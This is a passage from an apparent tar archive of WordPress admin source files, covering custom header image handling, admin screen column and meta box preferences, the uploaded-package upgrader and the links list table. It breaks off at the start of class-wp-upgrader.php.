	 *                      for randomly cycling among the default images; 'random-uploaded-image',
	 *                      for randomly cycling among the uploaded images; the key of a default image
	 *                      registered for that theme; and the key of an image uploaded for that theme
	 *                      (the attachment ID of the image). Or an array of arguments: attachment_id,
	 *                      url, width, height. All are required.
	 */
	final public function set_header_image( $choice ) {
		if ( is_array( $choice ) || is_object( $choice ) ) {
			$choice = (array) $choice;

			if ( ! isset( $choice['attachment_id'] ) || ! isset( $choice['url'] ) ) {
				return;
			}

			$choice['url'] = sanitize_url( $choice['url'] );

			$header_image_data = (object) array(
				'attachment_id' => $choice['attachment_id'],
				'url'           => $choice['url'],
				'thumbnail_url' => $choice['url'],
				'height'        => $choice['height'],
				'width'         => $choice['width'],
			);

			update_post_meta( $choice['attachment_id'], '_wp_attachment_is_custom_header', get_stylesheet() );

			set_theme_mod( 'header_image', $choice['url'] );
			set_theme_mod( 'header_image_data', $header_image_data );

			return;
		}

		if ( in_array( $choice, array( 'remove-header', 'random-default-image', 'random-uploaded-image' ), true ) ) {
			set_theme_mod( 'header_image', $choice );
			remove_theme_mod( 'header_image_data' );

			return;
		}

		$uploaded = get_uploaded_header_images();

		if ( $uploaded && isset( $uploaded[ $choice ] ) ) {
			$header_image_data = $uploaded[ $choice ];
		} else {
			$this->process_default_headers();
			if ( isset( $this->default_headers[ $choice ] ) ) {
				$header_image_data = $this->default_headers[ $choice ];
			} else {
				return;
			}
		}

		set_theme_mod( 'header_image', sanitize_url( $header_image_data['url'] ) );
		set_theme_mod( 'header_image_data', $header_image_data );
	}

	/**
	 * Removes a header image.
	 *
	 * @since 3.4.0
	 */
	final public function remove_header_image() {
		$this->set_header_image( 'remove-header' );
	}

	/**
	 * Resets a header image to the default image for the theme.
	 *
	 * This method does not do anything if the theme does not have a default header image.
	 *
	 * @since 3.4.0
	 */
	final public function reset_header_image() {
		$this->process_default_headers();
		$default = get_theme_support( 'custom-header', 'default-image' );

		if ( ! $default ) {
			$this->remove_header_image();
			return;
		}

		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );

		$default_data = array();
		foreach ( $this->default_headers as $header => $details ) {
			if ( $details['url'] === $default ) {
				$default_data = $details;
				break;
			}
		}

		set_theme_mod( 'header_image', $default );
		set_theme_mod( 'header_image_data', (object) $default_data );
	}

	/**
	 * Calculates width and height based on what the currently selected theme supports.
	 *
	 * @since 3.9.0
	 *
	 * @param array $dimensions
	 * @return array dst_height and dst_width of header image.
	 */
	final public function get_header_dimensions( $dimensions ) {
		$max_width       = 0;
		$width           = absint( $dimensions['width'] );
		$height          = absint( $dimensions['height'] );
		$theme_height    = get_theme_support( 'custom-header', 'height' );
		$theme_width     = get_theme_support( 'custom-header', 'width' );
		$has_flex_width  = current_theme_supports( 'custom-header', 'flex-width' );
		$has_flex_height = current_theme_supports( 'custom-header', 'flex-height' );
		$has_max_width   = current_theme_supports( 'custom-header', 'max-width' );
		$dst             = array(
			'dst_height' => null,
			'dst_width'  => null,
		);

		// For flex, limit size of image displayed to 1500px unless theme says otherwise.
		if ( $has_flex_width ) {
			$max_width = 1500;
		}

		if ( $has_max_width ) {
			$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
		}
		$max_width = max( $max_width, $theme_width );

		if ( $has_flex_height && ( ! $has_flex_width || $width > $max_width ) ) {
			$dst['dst_height'] = absint( $height * ( $max_width / $width ) );
		} elseif ( $has_flex_height && $has_flex_width ) {
			$dst['dst_height'] = $height;
		} else {
			$dst['dst_height'] = $theme_height;
		}

		if ( $has_flex_width && ( ! $has_flex_height || $width > $max_width ) ) {
			$dst['dst_width'] = absint( $width * ( $max_width / $width ) );
		} elseif ( $has_flex_width && $has_flex_height ) {
			$dst['dst_width'] = $width;
		} else {
			$dst['dst_width'] = $theme_width;
		}

		return $dst;
	}

	/**
	 * Creates an attachment 'object'.
	 *
	 * @since 3.9.0
	 *
	 * @param string $cropped              Cropped image URL.
	 * @param int    $parent_attachment_id Attachment ID of parent image.
	 * @return array An array with attachment object data.
	 */
	final public function create_attachment_object( $cropped, $parent_attachment_id ) {
		$parent     = get_post( $parent_attachment_id );
		$parent_url = wp_get_attachment_url( $parent->ID );
		$url        = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );

		$size       = wp_getimagesize( $cropped );
		$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';

		$attachment = array(
			'ID'             => $parent_attachment_id,
			'post_title'     => wp_basename( $cropped ),
			'post_mime_type' => $image_type,
			'guid'           => $url,
			'context'        => 'custom-header',
			'post_parent'    => $parent_attachment_id,
		);

		return $attachment;
	}

	/**
	 * Inserts an attachment and its metadata.
	 *
	 * @since 3.9.0
	 *
	 * @param array  $attachment An array with attachment object data.
	 * @param string $cropped    File path to cropped image.
	 * @return int Attachment ID.
	 */
	final public function insert_attachment( $attachment, $cropped ) {
		$parent_id = isset( $attachment['post_parent'] ) ? $attachment['post_parent'] : null;
		unset( $attachment['post_parent'] );

		$attachment_id = wp_insert_attachment( $attachment, $cropped );
		$metadata      = wp_generate_attachment_metadata( $attachment_id, $cropped );

		// If this is a crop, save the original attachment ID as metadata.
		if ( $parent_id ) {
			$metadata['attachment_parent'] = $parent_id;
		}

		/**
		 * Filters the header image attachment metadata.
		 *
		 * @since 3.9.0
		 *
		 * @see wp_generate_attachment_metadata()
		 *
		 * @param array $metadata Attachment metadata.
		 */
		$metadata = apply_filters( 'wp_header_image_attachment_metadata', $metadata );

		wp_update_attachment_metadata( $attachment_id, $metadata );

		return $attachment_id;
	}

	/**
	 * Gets attachment uploaded by Media Manager, crops it, then saves it as a
	 * new object. Returns JSON-encoded object details.
	 *
	 * @since 3.9.0
	 */
	public function ajax_header_crop() {
		check_ajax_referer( 'image_editor-' . $_POST['id'], 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

		if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
			wp_send_json_error();
		}

		$crop_details = $_POST['cropDetails'];

		$dimensions = $this->get_header_dimensions(
			array(
				'height' => $crop_details['height'],
				'width'  => $crop_details['width'],
			)
		);

		$attachment_id = absint( $_POST['id'] );

		$cropped = wp_crop_image(
			$attachment_id,
			(int) $crop_details['x1'],
			(int) $crop_details['y1'],
			(int) $crop_details['width'],
			(int) $crop_details['height'],
			(int) $dimensions['dst_width'],
			(int) $dimensions['dst_height']
		);

		if ( ! $cropped || is_wp_error( $cropped ) ) {
			wp_send_json_error( array( 'message' => __( 'Image could not be processed. Please go back and try again.' ) ) );
		}

		/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
		$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.

		$attachment = $this->create_attachment_object( $cropped, $attachment_id );

		$previous = $this->get_previous_crop( $attachment );

		if ( $previous ) {
			$attachment['ID'] = $previous;
		} else {
			unset( $attachment['ID'] );
		}

		$new_attachment_id = $this->insert_attachment( $attachment, $cropped );

		$attachment['attachment_id'] = $new_attachment_id;
		$attachment['url']           = wp_get_attachment_url( $new_attachment_id );

		$attachment['width']  = $dimensions['dst_width'];
		$attachment['height'] = $dimensions['dst_height'];

		wp_send_json_success( $attachment );
	}

	/**
	 * Given an attachment ID for a header image, updates its "last used"
	 * timestamp to now.
	 *
	 * Triggered when the user tries adds a new header image from the
	 * Media Manager, even if s/he doesn't save that change.
	 *
	 * @since 3.9.0
	 */
	public function ajax_header_add() {
		check_ajax_referer( 'header-add', 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

		$attachment_id = absint( $_POST['attachment_id'] );
		if ( $attachment_id < 1 ) {
			wp_send_json_error();
		}

		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		update_post_meta( $attachment_id, $key, time() );
		update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );

		wp_send_json_success();
	}

	/**
	 * Given an attachment ID for a header image, unsets it as a user-uploaded
	 * header image for the active theme.
	 *
	 * Triggered when the user clicks the overlay "X" button next to each image
	 * choice in the Customizer's Header tool.
	 *
	 * @since 3.9.0
	 */
	public function ajax_header_remove() {
		check_ajax_referer( 'header-remove', 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

		$attachment_id = absint( $_POST['attachment_id'] );
		if ( $attachment_id < 1 ) {
			wp_send_json_error();
		}

		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		delete_post_meta( $attachment_id, $key );
		delete_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );

		wp_send_json_success();
	}

	/**
	 * Updates the last-used postmeta on a header image attachment after saving a new header image via the Customizer.
	 *
	 * @since 3.9.0
	 *
	 * @param WP_Customize_Manager $wp_customize Customize manager.
	 */
	public function customize_set_last_used( $wp_customize ) {

		$header_image_data_setting = $wp_customize->get_setting( 'header_image_data' );

		if ( ! $header_image_data_setting ) {
			return;
		}

		$data = $header_image_data_setting->post_value();

		if ( ! isset( $data['attachment_id'] ) ) {
			return;
		}

		$attachment_id = $data['attachment_id'];
		$key           = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		update_post_meta( $attachment_id, $key, time() );
	}

	/**
	 * Gets the details of default header images if defined.
	 *
	 * @since 3.9.0
	 *
	 * @return array Default header images.
	 */
	public function get_default_header_images() {
		$this->process_default_headers();

		// Get the default image if there is one.
		$default = get_theme_support( 'custom-header', 'default-image' );

		if ( ! $default ) { // If not, easy peasy.
			return $this->default_headers;
		}

		$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );

		$already_has_default = false;

		foreach ( $this->default_headers as $k => $h ) {
			if ( $h['url'] === $default ) {
				$already_has_default = true;
				break;
			}
		}

		if ( $already_has_default ) {
			return $this->default_headers;
		}

		// If the one true image isn't included in the default set, prepend it.
		$header_images            = array();
		$header_images['default'] = array(
			'url'           => $default,
			'thumbnail_url' => $default,
			'description'   => 'Default',
		);

		// The rest of the set comes after.
		return array_merge( $header_images, $this->default_headers );
	}

	/**
	 * Gets the previously uploaded header images.
	 *
	 * @since 3.9.0
	 *
	 * @return array Uploaded header images.
	 */
	public function get_uploaded_header_images() {
		$header_images = get_uploaded_header_images();
		$timestamp_key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
		$alt_text_key  = '_wp_attachment_image_alt';

		foreach ( $header_images as &$header_image ) {
			$header_meta               = get_post_meta( $header_image['attachment_id'] );
			$header_image['timestamp'] = isset( $header_meta[ $timestamp_key ] ) ? $header_meta[ $timestamp_key ] : '';
			$header_image['alt_text']  = isset( $header_meta[ $alt_text_key ] ) ? $header_meta[ $alt_text_key ] : '';
		}

		return $header_images;
	}

	/**
	 * Gets the ID of a previous crop from the same base image.
	 *
	 * @since 4.9.0
	 *
	 * @param array $attachment An array with a cropped attachment object data.
	 * @return int|false An attachment ID if one exists. False if none.
	 */
	public function get_previous_crop( $attachment ) {
		$header_images = $this->get_uploaded_header_images();

		// Bail early if there are no header images.
		if ( empty( $header_images ) ) {
			return false;
		}

		$previous = false;

		foreach ( $header_images as $image ) {
			if ( $image['attachment_parent'] === $attachment['post_parent'] ) {
				$previous = $image['attachment_id'];
				break;
			}
		}

		return $previous;
	}
}
screen.php000064400000014323150275632050006544 0ustar00<?php
/**
 * WordPress Administration Screen API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Get the column headers for a screen
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen The screen you want the headers for
 * @return string[] The column header labels keyed by column ID.
 */
function get_column_headers( $screen ) {
	static $column_headers = array();

	if ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	if ( ! isset( $column_headers[ $screen->id ] ) ) {
		/**
		 * Filters the column headers for a list table on a specific screen.
		 *
		 * The dynamic portion of the hook name, `$screen->id`, refers to the
		 * ID of a specific screen. For example, the screen ID for the Posts
		 * list table is edit-post, so the filter for that screen would be
		 * manage_edit-post_columns.
		 *
		 * @since 3.0.0
		 *
		 * @param string[] $columns The column header labels keyed by column ID.
		 */
		$column_headers[ $screen->id ] = apply_filters( "manage_{$screen->id}_columns", array() );
	}

	return $column_headers[ $screen->id ];
}

/**
 * Get a list of hidden columns.
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen The screen you want the hidden columns for
 * @return string[] Array of IDs of hidden columns.
 */
function get_hidden_columns( $screen ) {
	if ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	$hidden = get_user_option( 'manage' . $screen->id . 'columnshidden' );

	$use_defaults = ! is_array( $hidden );

	if ( $use_defaults ) {
		$hidden = array();

		/**
		 * Filters the default list of hidden columns.
		 *
		 * @since 4.4.0
		 *
		 * @param string[]  $hidden Array of IDs of columns hidden by default.
		 * @param WP_Screen $screen WP_Screen object of the current screen.
		 */
		$hidden = apply_filters( 'default_hidden_columns', $hidden, $screen );
	}

	/**
	 * Filters the list of hidden columns.
	 *
	 * @since 4.4.0
	 * @since 4.4.1 Added the `use_defaults` parameter.
	 *
	 * @param string[]  $hidden       Array of IDs of hidden columns.
	 * @param WP_Screen $screen       WP_Screen object of the current screen.
	 * @param bool      $use_defaults Whether to show the default columns.
	 */
	return apply_filters( 'hidden_columns', $hidden, $screen, $use_defaults );
}

/**
 * Prints the meta box preferences for screen meta.
 *
 * @since 2.7.0
 *
 * @global array $wp_meta_boxes
 *
 * @param WP_Screen $screen
 */
function meta_box_prefs( $screen ) {
	global $wp_meta_boxes;

	if ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	if ( empty( $wp_meta_boxes[ $screen->id ] ) ) {
		return;
	}

	$hidden = get_hidden_meta_boxes( $screen );

	foreach ( array_keys( $wp_meta_boxes[ $screen->id ] ) as $context ) {
		foreach ( array( 'high', 'core', 'default', 'low' ) as $priority ) {
			if ( ! isset( $wp_meta_boxes[ $screen->id ][ $context ][ $priority ] ) ) {
				continue;
			}

			foreach ( $wp_meta_boxes[ $screen->id ][ $context ][ $priority ] as $box ) {
				if ( false === $box || ! $box['title'] ) {
					continue;
				}

				// Submit box cannot be hidden.
				if ( 'submitdiv' === $box['id'] || 'linksubmitdiv' === $box['id'] ) {
					continue;
				}

				$widget_title = $box['title'];

				if ( is_array( $box['args'] ) && isset( $box['args']['__widget_basename'] ) ) {
					$widget_title = $box['args']['__widget_basename'];
				}

				$is_hidden = in_array( $box['id'], $hidden, true );

				printf(
					'<label for="%1$s-hide"><input class="hide-postbox-tog" name="%1$s-hide" type="checkbox" id="%1$s-hide" value="%1$s" %2$s />%3$s</label>',
					esc_attr( $box['id'] ),
					checked( $is_hidden, false, false ),
					$widget_title
				);
			}
		}
	}
}

/**
 * Gets an array of IDs of hidden meta boxes.
 *
 * @since 2.7.0
 *
 * @param string|WP_Screen $screen Screen identifier
 * @return string[] IDs of hidden meta boxes.
 */
function get_hidden_meta_boxes( $screen ) {
	if ( is_string( $screen ) ) {
		$screen = convert_to_screen( $screen );
	}

	$hidden = get_user_option( "metaboxhidden_{$screen->id}" );

	$use_defaults = ! is_array( $hidden );

	// Hide slug boxes by default.
	if ( $use_defaults ) {
		$hidden = array();

		if ( 'post' === $screen->base ) {
			if ( in_array( $screen->post_type, array( 'post', 'page', 'attachment' ), true ) ) {
				$hidden = array( 'slugdiv', 'trackbacksdiv', 'postcustom', 'postexcerpt', 'commentstatusdiv', 'commentsdiv', 'authordiv', 'revisionsdiv' );
			} else {
				$hidden = array( 'slugdiv' );
			}
		}

		/**
		 * Filters the default list of hidden meta boxes.
		 *
		 * @since 3.1.0
		 *
		 * @param string[]  $hidden An array of IDs of meta boxes hidden by default.
		 * @param WP_Screen $screen WP_Screen object of the current screen.
		 */
		$hidden = apply_filters( 'default_hidden_meta_boxes', $hidden, $screen );
	}

	/**
	 * Filters the list of hidden meta boxes.
	 *
	 * @since 3.3.0
	 *
	 * @param string[]  $hidden       An array of IDs of hidden meta boxes.
	 * @param WP_Screen $screen       WP_Screen object of the current screen.
	 * @param bool      $use_defaults Whether to show the default meta boxes.
	 *                                Default true.
	 */
	return apply_filters( 'hidden_meta_boxes', $hidden, $screen, $use_defaults );
}

/**
 * Register and configure an admin screen option
 *
 * @since 3.1.0
 *
 * @param string $option An option name.
 * @param mixed  $args   Option-dependent arguments.
 */
function add_screen_option( $option, $args = array() ) {
	$current_screen = get_current_screen();

	if ( ! $current_screen ) {
		return;
	}

	$current_screen->add_option( $option, $args );
}

/**
 * Get the current screen object
 *
 * @since 3.1.0
 *
 * @global WP_Screen $current_screen WordPress current screen object.
 *
 * @return WP_Screen|null Current screen object or null when screen not defined.
 */
function get_current_screen() {
	global $current_screen;

	if ( ! isset( $current_screen ) ) {
		return null;
	}

	return $current_screen;
}

/**
 * Set the current screen object
 *
 * @since 3.0.0
 *
 * @param string|WP_Screen $hook_name Optional. The hook name (also known as the hook suffix) used to determine the screen,
 *                                    or an existing screen object.
 */
function set_current_screen( $hook_name = '' ) {
	WP_Screen::get( $hook_name )->set_current_screen();
}
class-file-upload-upgrader.php000064400000007063150275632050012403 0ustar00<?php
/**
 * Upgrade API: File_Upload_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for handling file uploads.
 *
 * This class handles the upload process and passes it as if it's a local file
 * to the Upgrade/Installer functions.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 */
#[AllowDynamicProperties]
class File_Upload_Upgrader {

	/**
	 * The full path to the file package.
	 *
	 * @since 2.8.0
	 * @var string $package
	 */
	public $package;

	/**
	 * The name of the file.
	 *
	 * @since 2.8.0
	 * @var string $filename
	 */
	public $filename;

	/**
	 * The ID of the attachment post for this file.
	 *
	 * @since 3.3.0
	 * @var int $id
	 */
	public $id = 0;

	/**
	 * Construct the upgrader for a form.
	 *
	 * @since 2.8.0
	 *
	 * @param string $form      The name of the form the file was uploaded from.
	 * @param string $urlholder The name of the `GET` parameter that holds the filename.
	 */
	public function __construct( $form, $urlholder ) {

		if ( empty( $_FILES[ $form ]['name'] ) && empty( $_GET[ $urlholder ] ) ) {
			wp_die( __( 'Please select a file' ) );
		}

		// Handle a newly uploaded file. Else, assume it's already been uploaded.
		if ( ! empty( $_FILES ) ) {
			$overrides = array(
				'test_form' => false,
				'test_type' => false,
			);
			$file      = wp_handle_upload( $_FILES[ $form ], $overrides );

			if ( isset( $file['error'] ) ) {
				wp_die( $file['error'] );
			}

			if ( 'pluginzip' === $form || 'themezip' === $form ) {
				if ( ! wp_zip_file_is_valid( $file['file'] ) ) {
					wp_delete_file( $file['file'] );
					wp_die( __( 'Incompatible Archive.' ) );
				}
			}

			$this->filename = $_FILES[ $form ]['name'];
			$this->package  = $file['file'];

			// Construct the attachment array.
			$attachment = array(
				'post_title'     => $this->filename,
				'post_content'   => $file['url'],
				'post_mime_type' => $file['type'],
				'guid'           => $file['url'],
				'context'        => 'upgrader',
				'post_status'    => 'private',
			);

			// Save the data.
			$this->id = wp_insert_attachment( $attachment, $file['file'] );

			// Schedule a cleanup for 2 hours from now in case of failed installation.
			wp_schedule_single_event( time() + 2 * HOUR_IN_SECONDS, 'upgrader_scheduled_cleanup', array( $this->id ) );

		} elseif ( is_numeric( $_GET[ $urlholder ] ) ) {
			// Numeric Package = previously uploaded file, see above.
			$this->id   = (int) $_GET[ $urlholder ];
			$attachment = get_post( $this->id );
			if ( empty( $attachment ) ) {
				wp_die( __( 'Please select a file' ) );
			}

			$this->filename = $attachment->post_title;
			$this->package  = get_attached_file( $attachment->ID );
		} else {
			// Else, It's set to something, Back compat for plugins using the old (pre-3.3) File_Uploader handler.
			$uploads = wp_upload_dir();
			if ( ! ( $uploads && false === $uploads['error'] ) ) {
				wp_die( $uploads['error'] );
			}

			$this->filename = sanitize_file_name( $_GET[ $urlholder ] );
			$this->package  = $uploads['basedir'] . '/' . $this->filename;

			if ( ! str_starts_with( realpath( $this->package ), realpath( $uploads['basedir'] ) ) ) {
				wp_die( __( 'Please select a file' ) );
			}
		}
	}

	/**
	 * Deletes the attachment/uploaded file.
	 *
	 * @since 3.2.2
	 *
	 * @return bool Whether the cleanup was successful.
	 */
	public function cleanup() {
		if ( $this->id ) {
			wp_delete_attachment( $this->id );

		} elseif ( file_exists( $this->package ) ) {
			return @unlink( $this->package );
		}

		return true;
	}
}
class-wp-links-list-table.php000064400000021307150275632050012172 0ustar00<?php
/**
 * List Table API: WP_Links_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying links in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Links_List_Table extends WP_List_Table {

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		parent::__construct(
			array(
				'plural' => 'bookmarks',
				'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'manage_links' );
	}

	/**
	 * @global int    $cat_id
	 * @global string $s
	 * @global string $orderby
	 * @global string $order
	 */
	public function prepare_items() {
		global $cat_id, $s, $orderby, $order;

		wp_reset_vars( array( 'action', 'cat_id', 'link_id', 'orderby', 'order', 's' ) );

		$args = array(
			'hide_invisible' => 0,
			'hide_empty'     => 0,
		);

		if ( 'all' !== $cat_id ) {
			$args['category'] = $cat_id;
		}
		if ( ! empty( $s ) ) {
			$args['search'] = $s;
		}
		if ( ! empty( $orderby ) ) {
			$args['orderby'] = $orderby;
		}
		if ( ! empty( $order ) ) {
			$args['order'] = $order;
		}

		$this->items = get_bookmarks( $args );
	}

	/**
	 */
	public function no_items() {
		_e( 'No links found.' );
	}

	/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions           = array();
		$actions['delete'] = __( 'Delete' );

		return $actions;
	}

	/**
	 * @global int $cat_id
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		global $cat_id;

		if ( 'top' !== $which ) {
			return;
		}
		?>
		<div class="alignleft actions">
			<?php
			$dropdown_options = array(
				'selected'        => $cat_id,
				'name'            => 'cat_id',
				'taxonomy'        => 'link_category',
				'show_option_all' => get_taxonomy( 'link_category' )->labels->all_items,
				'hide_empty'      => true,
				'hierarchical'    => 1,
				'show_count'      => 0,
				'orderby'         => 'name',
			);

			echo '<label class="screen-reader-text" for="cat_id">' . get_taxonomy( 'link_category' )->labels->filter_by_item . '</label>';

			wp_dropdown_categories( $dropdown_options );

			submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
			?>
		</div>
		<?php
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		return array(
			'cb'         => '<input type="checkbox" />',
			'name'       => _x( 'Name', 'link name' ),
			'url'        => __( 'URL' ),
			'categories' => __( 'Categories' ),
			'rel'        => __( 'Relationship' ),
			'visible'    => __( 'Visible' ),
			'rating'     => __( 'Rating' ),
		);
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'name'    => array( 'name', false, _x( 'Name', 'link name' ), __( 'Table ordered by Name.' ), 'asc' ),
			'url'     => array( 'url', false, __( 'URL' ), __( 'Table ordered by URL.' ) ),
			'visible' => array( 'visible', false, __( 'Visible' ), __( 'Table ordered by Visibility.' ) ),
			'rating'  => array( 'rating', false, __( 'Rating' ), __( 'Table ordered by Rating.' ) ),
		);
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'name'.
	 */
	protected function get_default_primary_column_name() {
		return 'name';
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$link` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object $item The current link object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$link = $item;

		?>
		<input type="checkbox" name="linkcheck[]" id="cb-select-<?php echo $link->link_id; ?>" value="<?php echo esc_attr( $link->link_id ); ?>" />
		<label for="cb-select-<?php echo $link->link_id; ?>">
			<span class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. %s: Link name. */
			printf( __( 'Select %s' ), $link->link_name );
			?>
			</span>
		</label>
		<?php
	}

	/**
	 * Handles the link name column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_name( $link ) {
		$edit_link = get_edit_bookmark_link( $link );
		printf(
			'<strong><a class="row-title" href="%s" aria-label="%s">%s</a></strong>',
			$edit_link,
			/* translators: %s: Link name. */
			esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $link->link_name ) ),
			$link->link_name
		);
	}

	/**
	 * Handles the link URL column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_url( $link ) {
		$short_url = url_shorten( $link->link_url );
		echo "<a href='$link->link_url'>$short_url</a>";
	}

	/**
	 * Handles the link categories column output.
	 *
	 * @since 4.3.0
	 *
	 * @global int $cat_id
	 *
	 * @param object $link The current link object.
	 */
	public function column_categories( $link ) {
		global $cat_id;

		$cat_names = array();
		foreach ( $link->link_category as $category ) {
			$cat = get_term( $category, 'link_category', OBJECT, 'display' );
			if ( is_wp_error( $cat ) ) {
				echo $cat->get_error_message();
			}
			$cat_name = $cat->name;
			if ( (int) $cat_id !== $category ) {
				$cat_name = "<a href='link-manager.php?cat_id=$category'>$cat_name</a>";
			}
			$cat_names[] = $cat_name;
		}
		echo implode( ', ', $cat_names );
	}

	/**
	 * Handles the link relation column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_rel( $link ) {
		echo empty( $link->link_rel ) ? '<br />' : $link->link_rel;
	}

	/**
	 * Handles the link visibility column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_visible( $link ) {
		if ( 'Y' === $link->link_visible ) {
			_e( 'Yes' );
		} else {
			_e( 'No' );
		}
	}

	/**
	 * Handles the link rating column output.
	 *
	 * @since 4.3.0
	 *
	 * @param object $link The current link object.
	 */
	public function column_rating( $link ) {
		echo $link->link_rating;
	}

	/**
	 * Handles the default column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$link` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object $item        Link object.
	 * @param string $column_name Current column name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$link = $item;

		/**
		 * Fires for each registered custom link column.
		 *
		 * @since 2.1.0
		 *
		 * @param string $column_name Name of the custom column.
		 * @param int    $link_id     Link ID.
		 */
		do_action( 'manage_link_custom_column', $column_name, $link->link_id );
	}

	public function display_rows() {
		foreach ( $this->items as $link ) {
			$link                = sanitize_bookmark( $link );
			$link->link_name     = esc_attr( $link->link_name );
			$link->link_category = wp_get_link_cats( $link->link_id );
			?>
		<tr id="link-<?php echo $link->link_id; ?>">
			<?php $this->single_row_columns( $link ); ?>
		</tr>
			<?php
		}
	}

	/**
	 * Generates and displays row action links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$link` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param object $item        Link being acted upon.
	 * @param string $column_name Current column name.
	 * @param string $primary     Primary column name.
	 * @return string Row actions output for links, or an empty string
	 *                if the current column is not the primary column.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $primary !== $column_name ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$link = $item;

		$edit_link = get_edit_bookmark_link( $link );

		$actions           = array();
		$actions['edit']   = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>';
		$actions['delete'] = sprintf(
			'<a class="submitdelete" href="%s" onclick="return confirm( \'%s\' );">%s</a>',
			wp_nonce_url( "link.php?action=delete&amp;link_id=$link->link_id", 'delete-bookmark_' . $link->link_id ),
			/* translators: %s: Link name. */
			esc_js( sprintf( __( "You are about to delete this link '%s'\n  'Cancel' to stop, 'OK' to delete." ), $link->link_name ) ),
			__( 'Delete' )
		);

		return $this->row_actions( $actions );
	}
}
class-wp-upgrader.php000064400000130212150275632050010621 0ustar00<?php
/**
 * Upgrade API: WP_Upgrader class
 *
 * Requires skin classes and WP_Upgrader subclasses for backward compatibility.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 */

/** WP_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php';

/** Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader-skin.php';

/** Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader-skin.php';

/** Bulk_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-upgrader-skin.php';

/** Bulk_Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-plugin-upgrader-skin.php';

/** Bulk_Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-theme-upgrader-skin.php';

/** Plugin_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-installer-skin.php';

/** Theme_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-installer-skin.php';

/** Language_Pack_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader-skin.php';

/** Automatic_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';

/** WP_Ajax_Upgrader_Skin class */
